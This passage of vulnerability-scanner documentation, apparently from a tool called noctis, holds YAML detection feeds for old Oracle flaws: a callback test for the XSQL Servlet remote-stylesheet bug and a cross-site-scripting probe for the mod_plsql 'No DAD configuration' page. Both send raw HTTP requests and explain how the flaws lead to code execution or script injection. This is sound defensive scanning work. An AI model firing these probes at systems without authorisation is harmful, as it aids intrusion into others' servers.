        && (pb.contains("<ROWSET") || pb.contains("<xsql-error") || pb.contains("cvsroot"));
      let base_raw = bb.contains("<ROWSET") || bb.contains("<xsql-error") || bb.contains("cvsroot");
      if raw_proof != "" { raw_proof }
      else if page_ok && probe_raw && !base_raw { page }
      else { "" }

  # ── Remote stylesheet load: OOB callback ─────────────────────────────────
  # Still inside the loop group (it ends at wait_oob): oob_sent makes it go
  # out once, to the first page that answered 200.
  - id: remote-stylesheet
    action: http_request
    method: GET
    path: "{{xsql_page}}?xml-stylesheet={{oob_url}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'oob_enabled && soft404.status != 200 && xsql_page != "" && oob_sent == false'
    store_as: rs_r

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: 'oob_enabled && soft404.status != 200 && xsql_page != ""'

  - id: remote-stylesheet-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: 'oob_enabled && soft404.status != 200 && xsql_page != ""'
    on_success:
      finding:
        title: "Oracle XSQL Servlet loads a client-supplied remote stylesheet — CVE-2001-0126"
        description: "An unauthenticated request to {{xsql_page}} with xml-stylesheet set to the noctis callback URL made the server fetch that URL as the page's XSLT stylesheet. Oracle's XSLT processor lets a stylesheet create Java objects and call their methods, so an attacker who serves a stylesheet from their own server runs Java code on the web server (CVE-2001-0126)."
        remediation: "Apply the Oracle XSQL Servlet patch, or add allow-client-style=\"no\" to the document element of every .xsql page so that the xml-stylesheet parameter is ignored. Remove the XSQL demo pages from production servers."
        confidence_delta: 0.75
        qod: 97
        evidence: "OOB HTTP callback received after GET {{xsql_page}}?xml-stylesheet=<OOB URL> (remote stylesheet fetched by the server)"
      stop: true

  # ── In-band: xml-stylesheet=none honoured ────────────────────────────────
  - id: report-raw
    action: match
    source: raw_proof
    pattern: '^/xsql/[A-Za-z0-9_./]+\.xsql$'
    condition: 'raw_proof != ""'
    on_match:
      finding:
        title: "Oracle XSQL Servlet applies client-supplied stylesheets — CVE-2001-0126"
        description: "{{raw_proof}}?xml-stylesheet=none returned the raw XSQL XML document, while {{raw_proof}} without the parameter did not: the XSQL Servlet applies the stylesheet choice made by the client in the xml-stylesheet parameter. On an affected servlet the same parameter loads a stylesheet from any URL, and Oracle's XSLT processor lets a stylesheet call Java methods, so an unauthenticated attacker can run Java code on the web server (CVE-2001-0126)."
        remediation: "Apply the Oracle XSQL Servlet patch, or add allow-client-style=\"no\" to the document element of every .xsql page so that the xml-stylesheet parameter is ignored. Remove the XSQL demo pages from production servers."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{raw_proof}}?xml-stylesheet=none returned raw XSQL XML (<?xml with ROWSET/xsql-error); GET {{raw_proof}} did not"
      stop: true

Oracle 9iAS mod_plsql "No DAD configuration" page cross-site scripting

Severitymedium
Categoryxss — XSS
Serviceshttp, https
Detectionset_var, script, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/oracle-9ias/mod-plsql-no-dad-xss.yaml

Tests the Oracle 9i Application Server PL/SQL gateway (mod_plsql) for cross-site scripting in its "No DAD configuration Found" error page. The feed requests /pls/help/ followed by a random, inert HTML tag and reports the server when it answers 200 with the "No DAD configuration" page and the tag comes back unescaped, which means markup placed in a link is rendered in the visitor's browser. A control request for a random path outside /pls/ carrying the same tag must not produce that page, so a server that reflects every path is not reported. No script is sent.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /pls/help/<{{p.tag}}> HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /{{p.dir}}/<{{p.tag}}> HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. Checks proof for ^reflected: /pls/help/<noctis[a-z0-9]{10}>$ → finding QoD 75: Oracle 9iAS mod_plsql "No DAD configuration" page cross-site scripting

References:

Feed source — tests/vulnerabilities/oracle-9ias/mod-plsql-no-dad-xss.yaml
# Oracle 9i Application Server mod_plsql — cross-site scripting in the
# "No DAD configuration Found" error page (no CVE).
#
# mod_plsql maps /pls/<DAD>/<procedure> to a PL/SQL procedure. When the DAD
# (Database Access Descriptor) named in the path is not configured, it answers
# 200 with a "No DAD configuration Found" page that echoes the requested
# DAD name / procedure path without HTML escaping, so markup in the URL is
# rendered in the victim's browser. Fix: Oracle patches (Metalink).
#
# Detection: raw HTTP/1.0 GET /pls/help/<noctisXXXXXXXXXX> (tcp_connect: the
# angle brackets must reach the server unencoded) — reported when the reply is
# a 200, carries "No DAD configuration" and contains the random inert tag
# unescaped. QoD 75 (response analysis; no script is sent).
#
# Better than the source NVT:
#   - the echoed tag is matched case-insensitively (PL/SQL names may be
#     printed upper-cased);
#   - a random, inert tag instead of <SCRIPT>alert(document.domain)</SCRIPT>;
#   - the NVT skips hosts that reflect anything (generic XSS flag set by
#     another plugin). Here a control request to a random non-/pls/ path
#     carrying the same tag must NOT come back as an unescaped "No DAD
#     configuration" page, so a honeypot / catch-all reflector answering
#     every path is not reported.
#
# CVE mapping: the source NVT lists CVE-2002-0569 / BID 4298, but that NVD
# record describes the XSQL Servlet configuration-file access bypass
# ("bypass access restrictions for configuration files via a direct request to
# the XSQL Servlet"), not this mod_plsql XSS. No other CVE covers the "No DAD
# configuration" reflection (CVE-2002-1636 is the htp cbuf XSS), so
# `cves: []` and the classifier is `category: xss`.
#
# Ported from OpenVAS/Greenbone NVT pre2008/oracle9i_modplsql_css.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10853, GPL-2.0-only).
uid: 82e57194-1760-4b9a-b76e-06b19519a5aa
name: "Oracle 9iAS mod_plsql \"No DAD configuration\" page cross-site scripting"
description: |
  Tests the Oracle 9i Application Server PL/SQL gateway (mod_plsql) for
  cross-site scripting in its "No DAD configuration Found" error page. The
  feed requests /pls/help/ followed by a random, inert HTML tag and reports
  the server when it answers 200 with the "No DAD configuration" page and
  the tag comes back unescaped, which means markup placed in a link is
  rendered in the visitor's browser. A control request for a random path
  outside /pls/ carrying the same tag must not produce that page, so a
  server that reflects every path is not reported. No script is sent.
cves: []
severity: medium
category: xss
confidence_base: 0.30
tags: [oracle, oracle-9ias, mod_plsql, xss, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "http://www.nextgenss.com/papers/hpoas.pdf"
  # OpenVAS/Greenbone NVT pre2008/oracle9i_modplsql_css.nasl (GPL-2.0-only)

steps:
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {connected: false, banner: ""}
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {connected: false, banner: ""}

  # Random inert tag (rand_str is lower-case alphanumeric) name and control directory.
  - id: mint
    action: script
    store_as: p
    code: '#{ tag: "noctis" + rand_str(10), dir: "noctis" + rand_str(8) }'

  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /pls/help/<{{p.tag}}> HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: probe

  - id: probe-check
    action: script
    store_as: hit
    code: |
      type_of(probe.banner) == "string"
        && ereg("^HTTP/1\\.[01] 200", probe.banner)
        && stridx(probe.banner, "No DAD configuration") >= 0
        && stridx(tolower(probe.banner), "<" + p.tag + ">") >= 0

  # Control: same tag on a random path outside /pls/ — mod_plsql does not serve it.
  - id: control
    action: tcp_connect
    port: "{{port}}"
    condition: "hit == true"
    send: "GET /{{p.dir}}/<{{p.tag}}> HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: ctl

  - id: verdict
    action: script
    store_as: proof
    code: |
      if hit == true && type_of(ctl.banner) == "string" && strlen(ctl.banner) > 0
        && !(stridx(ctl.banner, "No DAD configuration") >= 0 && stridx(tolower(ctl.banner), "<" + p.tag + ">") >= 0) {
        "reflected: /pls/help/<" + p.tag + ">"
      } else { "" }

  - id: report
    action: match
    source: proof
    pattern: "^reflected: /pls/help/<noctis[a-z0-9]{10}>$"
    on_match:
      finding:
        title: "Oracle 9iAS mod_plsql \"No DAD configuration\" page cross-site scripting"
        description: "The mod_plsql \"No DAD configuration Found\" error page echoes the requested path without HTML escaping: a random tag sent in the URL came back unescaped. A link to this server can therefore run script in a visitor's browser in the context of the site."
        remediation: "Apply the Oracle 9iAS mod_plsql security patches, or disable mod_plsql (/pls/) when it is not used."
        confidence_delta: 0.50   # 0.30 + 0.50 = 0.80
        qod: 75
        evidence: "GET /pls/help/<{{p.tag}}> returned HTTP 200 with the \"No DAD configuration\" page echoing <{{p.tag}}> unescaped; a request for /{{p.dir}}/<{{p.tag}}> did not"
      stop: true

View these feeds on GitHub